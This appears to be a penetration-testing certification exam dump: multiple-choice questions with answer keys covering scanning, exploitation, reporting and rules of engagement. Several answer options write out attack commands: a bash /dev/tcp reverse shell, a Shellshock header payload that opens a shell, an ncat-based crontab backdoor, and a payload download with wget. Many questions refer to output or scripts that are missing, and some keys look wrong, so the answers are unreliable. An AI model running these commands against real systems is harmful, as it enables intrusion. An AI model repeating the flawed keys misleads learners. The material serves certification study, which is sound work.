Dump 1 Flashcards
Which of the following commands will allow a penetration tester to permit a shell script to be
executed by the file owner?
A.
chmod u+x script.sh
B.
chmod u+e script.sh
C.
chmod o+e script.sh
D.
chmod o+x script.sh
Answer: A
A penetration tester gains access to a system and establishes persistence, and then run the
following commands:
Which of the following actions is the tester MOST likely performing?
A.
Redirecting Bash history to /dev/null
B.
Making a copy of the user’s Bash history to further enumeration
C.
Covering tracks by clearing the Bash history
D.
Making decoy files on the system to confuse incident responders
Answer: C
A compliance-based penetration test is primarily concerned with:
A.
obtaining PII from the protected network.
B.
bypassing protection on edge devices.
C.
determining the efficacy of a specific set of security standards.
D.
obtaining specific information from the protected network.
Answer: C
A penetration tester is explaining the MITRE ATT&CK framework to a company’s chief legal
counsel.
Which of the following would the tester MOST likely describe as a benefit of the framework?
A.
Understanding the tactics of a security intrusion can help disrupt them.
B.
Scripts that are part of the framework can be imported directly into SIEM tools.
C.
The methodology can be used to estimate the cost of an incident better.
D.
The framework is static and ensures stability of a security program over time.
Answer: A
Which of the following BEST describe the OWASP Top 10? (Choose two.)
A.
The most critical risks of web applications
B.
A list of all the risks of web applications
C.
The risks defined in order of importance
D.
A web-application security standard
E.
A risk-governance and compliance framework
F.
A checklist of Apache vulnerabilities
Answer: A,D
A penetration tester discovered a vulnerability that provides the ability to upload to a path via
discovery traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected
machine?
A.
Edit the discovered file with one line of code for remote callback.
B.
Download .pl files and look for usernames and passwords.
C.
Edit the smb.conf file and upload it to the server.
D.
Download the smb.conf file and look at configurations.
Answer: A
A company obtained permission for a vulnerability scan from its cloud service provider and now
wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?
A.
Whether sensitive client data is publicly accessible
B.
Whether the connection between the cloud and the client is secure
C.
Whether the client’s employees are trained properly to use the platform
D.
Whether the cloud applications were developed using a secure SDLC
Answer: B
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target
machine for execution?
A.
nc 10.10.51.50 9891 < exploit
B.
powershell -exec bypass -f \10.10.51.50\9891
C.
bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
D.
wget 10.10.51.50:9891/exploit
Answer: D
A penetration tester was able to gain access to a system using an exploit. The following is a
snippet of the code that was utilized:
Which of the following commands should the penetration tester run post-engagement?
A.
grep -v apache ~/bash_history > ~/.bash_history
B.
rm -rf /tmp/apache
C.
chmod 600 /tmp/apache
D.
taskkill /IM “apache? /F
Answer: B
Which of the following is MOST important to include in the final report of a static applicationsecurity
test that was written with a team of application developers as the intended audience?
A.
Executive summary of the penetration-testing methods used
B.
Bill of materials including supplies, subcontracts, and costs incurred during assessment
C.
Quantitative impact assessments given a successful software compromise
D.
Code context for instances of unsafe typecasting operations
Answer: D
You are a penetration tester reviewing a client’s website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are
present.
Step 1: Generate Certificate Signing Request
Step 2: Submit CSR to the CA
Step 3: Remove certificate from the server
Step 4: Install re-issued certificate on the server
A Chief Information Security Officer wants a penetration tester to evaluate the security awareness
level of the company’s employees.
Which of the following tools can help the tester achieve this goal?
A.
Metasploit
B.
Hydra
C.
SET
D.
WPScan
Answer: C
Which of the following is the MOST common vulnerability associated with IoT devices that are
directly connected to the Internet?
A.
Unsupported operating systems
B.
Susceptibility to DDoS attacks
C.
Inability to network
D.
The existence of default passwords
Answer: D
Which of the following describes the reason why a penetration tester would run the command
sdelete mimikatz. * on a Windows server that the tester compromised?
A.
To remove hash-cracking registry entries
B.
To remove the tester-created Mimikatz account
C.
To remove tools from the server
D.
To remove a reverse shell from the system
Answer: C
A penetration tester is scanning a corporate lab network for potentially vulnerable services.
Which of the following Nmap commands will return vulnerable ports that might be interesting to a
potential attacker?
A.
nmap 192.168.1.1-5 -PU22-25,80
B.
nmap 192.168.1.1-5 -PA22-25,80
C.
nmap 192.168.1.1-5 -PS22-25,80
D.
nmap 192.168.1.1-5 -Ss22-25,80
Answer: D
A penetration tester was brute forcing an internal web server and ran a command that produced
the following output:
However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a
blank page was displayed.
Which of the following is the MOST likely reason for the lack of output?
A.
The HTTP port is not open on the firewall.
B.
The tester did not run sudo before the command.
C.
The web server is using HTTPS instead of HTTP.
D.
This URI returned a server error
Answer: D
A penetration tester was conducting a penetration test and discovered the network traffic was no
longer reaching the client’s IP address. The tester later discovered the SOC had used sinkholing
on the penetration tester’s IP address.
Which of the following MOST likely describes what happened?
A.
The penetration tester was testing the wrong assets.
B.
The planning process failed to ensure all teams were notified.
C.
The client was not ready for the assessment to start.
D.
The penetration tester had incorrect contact information.
Answer: B
An Nmap scan shows open ports on web servers and databases. A penetration tester decides to
run WPScan and SQLmap to identify vulnerabilities and additional information about those
systems.
Which of the following is the penetration tester trying to accomplish?
A.
Uncover potential criminal activity based on the evidence gathered.
B.
Identify all the vulnerabilities in the environment.
C.
Limit invasiveness based on scope.
D.
Maintain confidentiality of the findings.
Answer: B
A company hired a penetration tester to do a social-engineering test against its employees.
Although the tester did not find any employees’ phone numbers on the company’s website, the
tester has learned the complete phone catalog was published there a few months ago.
In which of the following places should the penetration tester look FIRST for the employees’
numbers?
A.
Web archive
B.
GitHub
C.
File metadata
D.
Underground forums
Answer: A
A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux
server that has an SSHD running.
Which of the following would BEST support this task?
A.
Run nmap with the -O, -p22, and -sC options set against the target.
B.
Run nmap with the -sV and -p22 options set against the target.
C.
Run nmap with the –script vulners option set against the target.
D.
Run nmap with the -sA option set against the target.
Answer: C
A penetration tester completed a vulnerability scan against a web server and identified a single but
severe vulnerability.
Which of the following is the BEST way to ensure this is a true positive?
A.
Run another scanner to compare.
B.
Perform a manual test on the server.
C.
Check the results on the scanner.
D.
Look for the vulnerability online.
Answer: B
A penetration tester has been given eight business hours to gain access to a client’s financial
system.
Which of the following techniques will have the HIGHEST likelihood of success?
A.
Attempting to tailgate an employee who is going into the client’s workplace
B.
Dropping a malicious USB key with the company’s logo in the parking lot
C.
Using a brute-force attack against the external perimeter to gain a foothold
D.
Performing spear phishing against employees by posing as senior management
Answer: D
A company’s Chief Executive Officer has created a secondary home office and is concerned that
the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the
security of the WiFi’s router.
Which of the following is MOST vulnerable to a brute-force attack?
A.
WPS
B.
WPA2-EAP
C.
WPA-TKIP
D.
WPA2-PSK
Answer: A
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
A.
Determine active hosts on the network.
B.
Set the TTL of ping packets for stealth.
C.
Fill the ARP table of the networked devices.
D.
Scan the system on the most used ports.
Answer: A
A penetration tester ran the following commands on a Windows server:
Which of the following should the tester do AFTER delivering the final report?
A.
Delete the scheduled batch job.
B.
Close the reverse shell connection.
C.
Downgrade the svsaccount permissions.
D.
Remove the tester-created credentials.
Answer: D
A penetration tester has established an on-path attack position and must now specially craft a
DNS query response to be sent back to a target host.
Which of the following utilities would BEST support this objective?
A.
Socat
B.
tcpdump
C.
Scapy
D.
dig
Answer: C
A penetration tester is starting an assessment but only has publicly available information about the
target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?
A.
Partially known environment testing
B.
Known environment testing
C.
Unknown environment testing
D.
Physical environment testing
Answer: B
The following line-numbered Python code snippet is being used in reconnaissance:
Which of the following line numbers from the script MOST likely contributed to the script triggering
a “probable port scan? alert in the organization’s IDS?
A.
Line 01
B.
Line 02
C.
Line 07
D.
Line 08
Answer: D
A consulting company is completing the ROE during scoping.
Which of the following should be included in the ROE?
A.
Cost of the assessment
B.
Report distribution
C.
Testing restrictions
D.
Liability
Answer: C
A new client hired a penetration-testing company for a month-long contract for various security
assessments against the client’s new service. The client is expecting to make the new service
publicly available shortly after the assessment is complete and is planning to fix any findings,
except for critical issues, after the service is made public. The client wants a simple report
structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?
A.
Establish the format required by the client.
B.
Establish the threshold of risk to escalate to the client immediately.
C.
Establish the method of potential false positives.
D.
Establish the preferred day of the week for reporting.
Answer: B
A penetration tester logs in as a user in the cloud environment of a company.
Which of the following Pacu modules will enable the tester to determine the level of access of the
existing user?
A.
iam_enum_permissions
B.
iam_privesc_scan
C.
iam_backdoor_assume_role
D.
iam_bruteforce_permissions
Answer: A
A company becomes concerned when the security alarms are triggered during a penetration test.
Which of the following should the company do NEXT?
A.
Halt the penetration test.
B.
Conduct an incident response.
C.
Deconflict with the penetration tester.
D.
Assume the alert is from the penetration test.
Answer: C
A penetration tester has been hired to perform a physical penetration test to gain access to a
secure room within a client’s building. Exterior reconnaissance identifies two entrances, a WiFi
guest network, and multiple security cameras connected to the Internet.
Which of the following tools or techniques would BEST support additional reconnaissance?
A.
Wardriving
B.
Shodan
C.
Recon-ng
D.
Aircrack-ng
Answer: B
A red team gained access to the internal network of a client during an engagement and used the
Responder tool to capture important data.
Which of the following was captured by the testing team?
A.
Multiple handshakes
B.
IP addresses
C.
Encrypted file transfers
D.
User hashes sent over SMB
Answer: D
A penetration tester conducts an Nmap scan against a target and receives the following results:
Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on
the target?
A.
Nessus
B.
ProxyChains
C.
OWASP ZAP
D.
Empire
Answer: B
A penetration tester who is doing a security assessment discovers that a critical vulnerability is
being actively exploited by cybercriminals.
Which of the following should the tester do NEXT?
A.
Reach out to the primary point of contact.
B.
Try to take down the attackers.
C.
Call law enforcement officials immediately.
D.
Collect the proper evidence and add to the final report.
Answer: D
A penetration tester received a .pcap file to look for credentials to use in an engagement.
Which of the following tools should the tester utilize to open and read the .pcap file?
A.
Nmap
B.
Wireshark
C.
Metasploit
D.
Netcat
Answer: B
A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and
found a few open ports. To further enumerate, the tester ran another scan using the following
command:
nmap -O -A -sS -p- 100.100.100.50
Nmap returned that all 65,535 ports were filtered
Which of the following MOST likely occurred on the second scan?
A.
A firewall or IPS blocked the scan.
B.
The penetration tester used unsupported flags.
C.
The edge network device was disconnected.
D.
The scan returned ICMP echo replies.
Answer: A
A penetration tester is looking for a vulnerability that enables attackers to open doors via a
specialized TCP service that is used for a physical access control system. The service exists on
more than 100 different hosts, so the tester would like to automate the assessment. Identification
requires the penetration tester to:
Have a full TCP connection
Send a “hello? payload
Wait for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
A.
Run nmap -Pn -sV –script vuln <IP>.
B.
Employ an OpenVAS simple scan against the TCP port of the host.
C.
Create a script in the Lua language and use it with NSE.
D.
Perform a credentialed scan with Nessus.</IP>
Answer: C
Performing a penetration test against an environment with SCADA devices brings an additional
safety risk because the:
A.
devices produce more heat and consume more power.
B.
devices are obsolete and are no longer available for replacement.
C.
protocols are more difficult to understand.
D.
devices may cause physical world effects.
Answer: D
A penetration tester has been given an assignment to attack a series of targets in the
192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?
A.
nmap -sT -vvv -O 192.168.1.2/24 -PO
B.
nmap -sV 192.168.1.2/24 -PO
C.
nmap -sA -v -O 192.168.1.2/24
D.
nmap -sS -O 192.168.1.2/24 -T1
Answer: D
A penetration tester has gained access to a network device that has a previously unknown IP
range on an interface. Further research determines this is an always-on VPN tunnel to a thirdparty
supplier.
Which of the following is the BEST action for the penetration tester to take?
A.
Utilize the tunnel as a means of pivoting to other internal devices.
B.
Disregard the IP range, as it is out of scope.
C.
Stop the assessment and inform the emergency contact.
D.
Scan the IP range for additional systems to exploit.
Answer: C
A penetration tester recently performed a social-engineering attack in which the tester found an
employee of the target company at a local coffee shop and over time built a relationship with the
employee. On the employee’s birthday, the tester gave the employee an external hard drive as a
gift.
Which of the following social-engineering attacks was the tester utilizing?
A.
Phishing
B.
Tailgating
C.
Baiting
D.
Shoulder surfing
Answer: C
A security company has been contracted to perform a scoped insider-threat assessment to try to
gain access to the human resources server that houses PII and salary data. The penetration
testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?
A.
Exploiting a configuration weakness in the SQL database
B.
Intercepting outbound TLS traffic
C.
Gaining access to hosts by injecting malware into the enterprise-wide update server
D.
Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
E.
Establishing and maintaining persistence on the domain controller
Answer: A
A penetration tester is able to capture the NTLM challenge-response traffic between a client and a
server.
Which of the following can be done with the pcap to gain access to the server?
A.
Perform vertical privilege escalation.
B.
Replay the captured traffic to the server to recreate the session.
C.
Use John the Ripper to crack the password.
D.
Utilize a pass-the-hash attack.
Answer: D
Which of the following documents describes specific activities, deliverables, and schedules for a
penetration tester?
A.
NDA
B.
MSA
C.
SOW
D.
MOU
Answer: C
A penetration tester is exploring a client’s website. The tester performs a curl command and
obtains the following:
Which of the following tools would be BEST for the penetration tester to use to explore this site
further?
A.
Burp Suite
B.
DirBuster
C.
WPScan
D.
OWASP ZAP
Answer: C
During a penetration test, you gain access to a system with a limited user interface. This machine
appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset
All button.
In an unprotected network file repository, a penetration tester discovers a text file containing
usernames and passwords in cleartext and a spreadsheet containing data for 50 employees,
including full names, roles, and serial numbers. The tester realizes some of the passwords in the
text file follow the format: <name-serial_number>.</name-serial_number>
Which of the following would be the best action for the tester to take NEXT with this information?
A.
Create a custom password dictionary as preparation for password spray testing.
B.
Recommend using a password manager/vault instead of text files to store passwords securely.
C.
Recommend configuring password complexity rules in all the systems and applications.
D.
Document the unprotected file repository as a finding in the penetration-testing report.
Answer: A
When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should
be explicitly specified.
Which of the following character combinations should be used on the first line of the script to
accomplish this goal?
A.
<#
B.
<$
C.
##
D.
#$
E.
#!
Answer: E
A penetration tester who is doing a company-requested assessment would like to send traffic to
another system suing double tagging.
Which of the following techniques would BEST accomplish this goal?
A.
RFID cloning
B.
RFID tagging
C.
Meta tagging
D.
Tag nesting
Answer: D
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python
script that sends a web exploit and comes across the following code:
exploit = {“User-Agent?: “() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1?, “Accept?:
“text/html,application/xhtml+xml,application/xml?}
Which of the following edits should the tester make to the script to determine the user context in
which the server is being run?
A.
exploit = {“User-Agent?: “() { ignored;};/bin/bash -i id;whoami?, “Accept?:
“text/html,application/xhtml+xml,application/xml?}
B.
exploit = {“User-Agent?: “() { ignored;};/bin/bash -i>& find / -perm -4000?, “Accept?:
“text/html,application/xhtml+xml,application/xml?}
C.
exploit = {“User-Agent?: “() { ignored;};/bin/sh -i ps -ef? 0>&1?, “Accept?:
“text/html,application/xhtml+xml,application/xml?}
D.
exploit = {“User-Agent?: “() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80? 0>&1? “Accept?:
“text/html,application/xhtml+xml,application/xml?}
Answer: A
A penetration tester is preparing to perform activities for a client that requires minimal disruption to
company operations.
Which of the following are considered passive reconnaissance tools? (Choose two.)
A.
Wireshark
B.
Nessus
C.
Retina
D.
Burp Suite
E.
Shodan
F.
Nikto
Answer: A,E
A penetration tester wants to scan a target network without being detected by the client’s IDS.
Which of the following scans is MOST likely to avoid detection?
A.
nmap -P0 -T0 -sS 192.168.1.10
B.
nmap -sA -sV –host-timeout 60 192.168.1.10
C.
nmap -f –badsum 192.168.1.10
D.
nmap -A -n 192.168.1.10
Answer: C
A penetration tester has been contracted to review wireless security. The tester has deployed a
malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration
tester now wants to try to force nearby wireless stations to connect to the malicious AP.
Which of the following steps should the tester take NEXT?
A.
Send deauthentication frames to the stations.
B.
Perform jamming on all 2.4GHz and 5GHz channels.
C.
Set the malicious AP to broadcast within dynamic frequency selection channels.
D.
Modify the malicious AP configuration to not use a preshared key.
Answer: A
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the
available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the
potential attack vectors that should be investigated further.
Part 1 – Enter command: nmap 192.168.2.2 -sV -O
Part 2 – Weak SMB file permissions
Which of the following protocols or technologies would in-transit confidentially protection for
emailing the final security assessment report?
A.
S/MIME
B.
FTPS
C.
DNSSEC
D.
AS2
Answer: A
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily
with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?
A.
Stronger algorithmic requirements
B.
Access controls on the server
C.
Encryption on the user passwords
D.
A patch management program
Answer: A
A penetration tester found the following valid URL while doing a manual assessment of a web
application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability
in this URL?
A.
SQLmap
B.
Nessus
C.
Nikto
D.
DirBuster
Answer: A
A penetration tester is attempting to discover live hosts on a subnet quickly.
Which of the following commands will perform a ping scan?
A.
nmap -sn 10.12.1.0/24
B.
nmap -sV -A 10.12.1.0/24
C.
nmap -Pn 10.12.1.0/24
D.
nmap -sT -p- 10.12.1.0/24
Answer: A
Which of the following tools would be MOST useful in collecting vendor and other security-relevant
information for IoT devices to support passive reconnaissance?
A.
Shodan
B.
Nmap
C.
WebScarab-NG
D.
Nessus
Answer: A
Which of the following should a penetration tester consider FIRST when engaging in a penetration
test in a cloud environment?
A.
Whether the cloud service provider allows the penetration tester to test the environment
B.
Whether the specific cloud services are being used by the application
C.
The geographical location where the cloud services are running
D.
Whether the country where the cloud service is based has any impeding laws
Answer: A
You are a security analyst tasked with hardening a web server. You have been given a list of
HTTP payloads that were flagged as malicious.
INSTRUCTION
Giving the following attack signatures, determine the attack type, and then identify the associated
remediation to prevent the attack in the future.
A penetration tester runs the unshadow command on a machine.
Which of the following tools will the tester most likely use NEXT?
A.
John the Ripper
B.
Hydra
C.
Mimikatz
D.
Cain and Abel
Answer: A
A penetration tester obtained the following results after scanning a web server using the dirb utility:
Which of the following elements is MOST likely to contain useful information for the penetration
tester?
A.
index.html
B.
about
C.
info
D.
home.html
Answer: C
A company has hired a penetration tester to deploy and set up a rogue access point on the
network.
Which of the following is the BEST tool to use to accomplish this goal?
A.
Wireshark
B.
Aircrack-ng
C.
Kismet
D.
Wifite
Answer: B
A penetration tester was able to gain access successfully to a Windows workstation on a mobile
client’s laptop.
Which of the following can be used to ensure the tester is able to maintain access to the system?
A.
schtasks /create /sc /ONSTART /tr C:\Temp|WindowsUpdate.exe
B.
wmic startup get caption,command
C.
crontab -l; echo “@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash?) | crontab 2>/dev/null
D.
sudo useradd -ou 0 -g 0 user
Answer: A
A company hired a penetration-testing team to review the cyber-physical systems in a
manufacturing plant. The team immediately discovered the supervisory systems and PLCs are
both connected to the company intranet.
Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be
valid?
A.
PLCs will not act upon commands injected over the network.
B.
Supervisors and controllers are on a separate virtual network by default.
C.
Controllers will not validate the origin of commands.
D.
Supervisory systems will detect a malicious injection of code/commands.
Answer: C
A penetration tester downloaded a Java application file from a compromised web server and
identifies how to invoke it by looking at the following log:
Which of the following is the order of steps the penetration tester needs to follow to validate
whether the Java application uses encryption over sockets?
A.
Run an application vulnerability scan and then identify the TCP ports used by the application.
B.
Run the application attached to a debugger and then review the application’s log.
C.
Disassemble the binary code and then identify the break points.
D.
Start a packet capture with Wireshark and then run the application.
Answer: D
When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:
A.
security compliance regulations or laws may be violated.
B.
testing can make detecting actual APT more challenging.
C.
testing adds to the workload of defensive cyber- and threat-hunting teams.
D.
business and network operations may be impacted.
Answer: D
A company uses a cloud provider with shared network bandwidth to host a web application on
dedicated servers. The company’s contact with the cloud provider prevents any activities that
would interfere with the cloud provider’s other customers. When engaging with a penetrationtesting
company to test the application, which of the following should the company avoid?
A.
Crawling the web application’s URLs looking for vulnerabilities
B.
Fingerprinting all the IP addresses of the application’s servers
C.
Brute forcing the application’s passwords
D.
Sending many web requests per second to test DDoS protection
Answer: D
A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test.
Which of the following should the tester be sure to remove from the system? (Choose two.)
A.
Spawned shells
B.
Created user accounts
C.
Server logs
D.
Administrator accounts
E.
Reboot system
F.
ARP cache
Answer: A,B
A software company has hired a security consultant to assess the security of the company’s
software development practices. The consultant opts to begin reconnaissance by performing
fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST
likely to identify?
A.
Weak authentication schemes
B.
Credentials stored in strings
C.
Buffer overflows
D.
Non-optimized resource management
Answer: C
A penetration tester has prepared the following phishing email for an upcoming penetration test:
Which of the following is the penetration tester using MOST to influence phishing targets to click
on the link?
A.
Familiarity and likeness
B.
Authority and urgency
C.
Scarcity and fear
D.
Social proof and greed
Answer: B
During a penetration test, a tester is able to change values in the URL from
example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web
application. Which of the following vulnerabilities has the penetration tester exploited?
A.
Command injection
B.
Broken authentication
C.
Direct object reference
D.
Cross-site scripting
Answer: C
Which of the following situations would MOST likely warrant revalidation of a previous security
assessment?
A.
After detection of a breach
B.
After a merger or an acquisition
C.
When an organization updates its network firewall configurations
D.
When most of the vulnerabilities have been remediated
Answer: A
A penetration tester gains access to a system and is able to migrate to a user process:
Given the output above, which of the following actions is the penetration tester performing?
(Choose two.)
A.
Redirecting output from a file to a remote system
B.
Building a scheduled task for execution
C.
Mapping a share to a remote system
D.
Executing a file on the remote system
E.
Creating a new process on all domain systems
F.
Setting up a reverse shell from a remote system
G.
Adding an additional IP address on the compromised system
Answer: C,D
After gaining access to a previous system, a penetration tester runs an Nmap scan against a
network with the following results:
A.
The tester input the incorrect IP address.
B.
The command requires the –port 135 option.
C.
An account for RDP does not exist on the server.
D.
PowerShell requires administrative privilege.
Answer: A
Which of the following assessment methods is MOST likely to cause harm to an ICS environment?
A.
Active scanning
B.
Ping sweep
C.
Protocol reversing
D.
Packet analysis
Answer: A
During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a
network administrator that is broadcasting Bluetooth frames. Which of the following is an example
of a Bluesnarfing attack that the penetration tester can perform?
A.
Sniff and then crack the WPS PIN on an associated WiFi device.
B.
Dump the user address book on the device.
C.
Break a connection between two Bluetooth devices.
D.
Transmit text messages to the device.
Answer: B
Penetration-testing activities have concluded, and the initial findings have been reviewed with the
client. Which of the following best describes the NEXT step in the engagement?
A.
Acceptance by the client and sign-off on the final report
B.
Scheduling of follow-up actions and retesting
C.
Attestation of findings and delivery of the report
D.
Review of the lessons during the engagement
Answer: C
A penetration tester discovers a web server that is within the scope of the engagement has
already been compromised with a backdoor. Which of the following should the penetration tester
do NEXT?
A.
Forensically acquire the backdoor Trojan and perform attribution.
B.
Utilize the backdoor in support of the engagement.
C.
Continue the engagement and include the backdoor finding in the final report.
D.
Inform the customer immediately about the backdoor.
Answer: D
Which of the following would a company’s hunt team be MOST interested in seeing in a final
report?
A.
Executive summary
B.
Attack TTPs
C.
Methodology
D.
Scope details
Answer: B
A Chief Information Security Officer wants a penetration tester to evaluate whether a recently
installed firewall is protecting a subnetwork on which many decades-old legacy systems are
connected. The penetration tester decides to run an OS discovery and a full port scan to identify
all the systems and any potential vulnerability. Which of the following should the penetration tester
consider BEFORE running a scan?
A.
The timing of the scan
B.
The bandwidth limitations
C.
The inventory of assets and versions
D.
The type of scan
Answer: C
Which of the following provides an exploitation suite with payload modules that cover the broadest
range of target system types?
A.
Nessus
B.
Metasploit
C.
Burp Suite
D.
Ettercap
Answer: B
A security professional wants to test an IoT device by sending an invalid packet to a proprietary
service listening on TCP port 3011. Which of the following would allow the security professional to
easily and programmatically manipulate the TCP header length and checksum using arbitrary
numbers and to observe how the proprietary service responds?
A.
Nmap
B.
tcpdump
C.
Scapy
D.
hping3
Answer: C
Which of the following should a penetration tester do NEXT after identifying that an application
being tested has already been compromised with malware?
A.
Analyze the malware to see what it does.
B.
Collect the proper evidence and then remove the malware.
C.
Do a root-cause analysis to find out how the malware got in.
D.
Remove the malware immediately.
E.
Stop the assessment and inform the emergency contact.
Answer: E
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled
on a network segment. Which of the following could be used for a denial-of-service attack on the
network segment?
A.
Smurf
B.
Ping flood
C.
Fraggle
D.
Ping of death
Answer: C
A penetration tester writes the following script:
Which of the following is the tester performing?
A.
Searching for service vulnerabilities
B.
Trying to recover a lost bind shell
C.
Building a reverse shell listening on specified ports
D.
Scanning a network for specific open ports
Answer: C
An Nmap network scan has found five open ports with identified services. Which of the following
tools should a penetration tester use NEXT to determine if any vulnerabilities with associated
exploits exist on the open ports?
A.
OpenVAS
B.
Drozer
C.
Burp Suite
D.
OWASP ZAP
Answer: A
A CentOS computer was exploited during a penetration test. During initial reconnaissance, the
penetration tester discovered that port 25 was open on an internal Sendmail server. To remain
stealthy, the tester ran the following command from the attack machine:
Which of the following would be the BEST command to use for further progress into the targeted
network?
A.
nc 10.10.1.2
B.
ssh 10.10.1.2
C.
nc 127.0.0.1 5555
D.
ssh 127.0.0.1 5555
Answer: C
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:
Based on the output, which of the following services are MOST likely to be exploited? (Choose
two.)
A.
Telnet
B.
HTTP
C.
SMTP
D.
DNS
E.
NTP
F.
SNMP
Answer: B,D
Which of the following expressions in Python increase a variable val by one? (Choose two.)
A.
val++
B.
+val
C.
val=(val+1)
D.
++val
E.
val=val++
F.
val+=1
Answer: C,F
An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands
will give the LEAST chance of detection?
A.
nmap –T3 192.168.0.1
B.
nmap –P0 192.168.0.1
C.
nmap –T0 192.168.0.1
D.
nmap –A 192.168.0.1
Answer: C
A penetration tester wrote the following script to be used in one engagement:
Which of the following actions will this script perform?
A.
Look for open ports.
B.
Listen for a reverse shell.
C.
Attempt to flood open ports.
D.
Create an encrypted tunnel.
Answer: A
A final penetration test report was submitted to the board for review and accepted. The report has
three findings rated high. Which of the following should be the NEXT step?
A.
Perform a new penetration test.
B.
Remediate the findings.
C.
Provide the list of common vulnerabilities and exposures.
D.
Broaden the scope of the penetration test.
Answer: B
Which of the following situations would require a penetration tester to notify the emergency contact
for the engagement?
A.
The team exploits a critical server within the organization.
B.
The team exfiltrates PII or credit card data from the organization.
C.
The team loses access to the network remotely.
D.
The team discovers another actor on a system on the network.
Answer: D
During an engagement, a penetration tester found the following list of strings inside a file:
Which of the following is the BEST technique to determine the known plaintext of the strings?
A.
Dictionary attack
B.
Rainbow table attack
C.
Brute-force attack
D.
Credential-stuffing attack
Answer: B
A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:
Which of the following BEST describes why this script triggered a “probable port scan? alert in the
organization’s IDS?
A.
sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
B.
*range(1, 1025) on line 1 populated the portList list in numerical order.
C.
Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM.
D.
The remoteSvr variable has neither been type-hinted nor initialized.
Answer: B
A penetration tester is conducting an authorized, physical penetration test to attempt to enter a
client’s building during non-business hours. Which of the following are MOST important for the
penetration tester to have during the test? (Choose two.)
A.
A handheld RF spectrum analyzer
B.
A mask and personal protective equipment
C.
Caution tape for marking off insecure areas
D.
A dedicated point of contact at the client
E.
The paperwork documenting the engagement
F.
Knowledge of the building’s normal business hours
Answer: D,E
